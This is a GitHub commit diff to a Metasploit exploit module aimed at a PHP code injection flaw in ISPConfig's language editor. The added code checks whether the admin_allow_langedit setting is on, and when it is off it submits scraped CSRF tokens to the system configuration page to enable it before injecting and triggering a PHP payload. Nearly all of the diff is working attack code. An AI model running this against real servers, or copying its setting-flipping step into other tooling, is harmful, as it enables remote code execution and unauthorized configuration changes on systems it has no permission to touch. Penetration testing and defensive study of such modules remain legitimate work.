Skip to content

Commit e77abd9

Browse files
committed
added: automatic admin_allow_langedit permission checking and enabling capability
1 parent 93a8334 commit e77abd9

File tree

1 file changed

+101
-1
lines changed

1 file changed

+101
-1
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 101 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,18 @@ def initialize(info = {})
1616
info,
1717
'Name' => 'ISPConfig language_edit.php PHP Code Injection',
1818
'Description' => %q{
19-
An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
19+
This module exploits a PHP code injection vulnerability in ISPConfig's
20+
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
21+
setting is enabled, allowing authenticated administrators to inject arbitrary
22+
PHP code through the language editor interface.
23+
24+
This module will automatically check if the required `admin_allow_langedit`
25+
permission is enabled, and attempt to enable it if it's disabled (requires
26+
admin credentials with system configuration access).
27+
28+
The exploit works by injecting a PHP payload into a language file, which
29+
is then executed when the file is accessed. The payload is base64 encoded
30+
and written using PHP's file_put_contents function.
2031
},
2132
'License' => MSF_LICENSE,
2233
'Author' => [
@@ -139,6 +150,78 @@ def authenticate
139150
true
140151
end
141152

153+
def check_langedit_permission
154+
print_status('Checking if admin_allow_langedit is enabled...')
155+
156+
# Try to access the language editor to see if it's accessible
157+
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
158+
res = send_request_cgi({
159+
'method' => 'GET',
160+
'uri' => edit_url,
161+
'keep_cookies' => true
162+
})
163+
164+
if res && res.code == 200 && res.body.include?('language_edit')
165+
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
166+
return true
167+
elsif res && res.code == 403
168+
print_warning('Language editor access denied - admin_allow_langedit may be disabled')
169+
return false
170+
else
171+
print_warning('Could not determine language editor accessibility')
172+
return false
173+
end
174+
end
175+
176+
def enable_langedit_permission
177+
print_status('Attempting to enable admin_allow_langedit...')
178+
179+
# Try to access the system settings page
180+
settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
181+
res = send_request_cgi({
182+
'method' => 'GET',
183+
'uri' => settings_url,
184+
'keep_cookies' => true
185+
})
186+
187+
unless res && res.code == 200
188+
print_warning('Could not access system configuration page')
189+
return false
190+
end
191+
192+
doc = res.get_html_document
193+
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
194+
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
195+
196+
unless csrf_id && csrf_key
197+
print_warning('Could not extract CSRF tokens from system config page')
198+
return false
199+
end
200+
201+
# Try to enable the setting
202+
enable_data = {
203+
'_csrf_id' => csrf_id,
204+
'_csrf_key' => csrf_key,
205+
'admin_allow_langedit' => '1',
206+
'action' => 'save'
207+
}
208+
209+
res = send_request_cgi({
210+
'method' => 'POST',
211+
'uri' => settings_url,
212+
'vars_post' => enable_data,
213+
'keep_cookies' => true
214+
})
215+
216+
if res && res.code == 200
217+
print_good('Successfully enabled admin_allow_langedit')
218+
return true
219+
else
220+
print_warning('Failed to enable admin_allow_langedit')
221+
return false
222+
end
223+
end
224+
142225
def inject_payload
143226
print_status('Injecting PHP payload...')
144227
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
@@ -243,6 +326,23 @@ def cleanup
243326

244327
def exploit
245328
authenticate
329+
330+
# Check if language editor permissions are enabled
331+
unless check_langedit_permission
332+
print_warning('admin_allow_langedit appears to be disabled')
333+
print_status('Attempting to enable admin_allow_langedit...')
334+
335+
if enable_langedit_permission
336+
print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
337+
# Re-check permissions after enabling
338+
unless check_langedit_permission
339+
fail_with(Failure::UnexpectedReply, 'Failed to enable admin_allow_langedit or language editor still not accessible')
340+
end
341+
else
342+
fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
343+
end
344+
end
345+
246346
payload_url = inject_payload
247347
print_status('Starting payload handler...')
248348
trigger_payload(payload_url)

0 commit comments

Comments
 (0)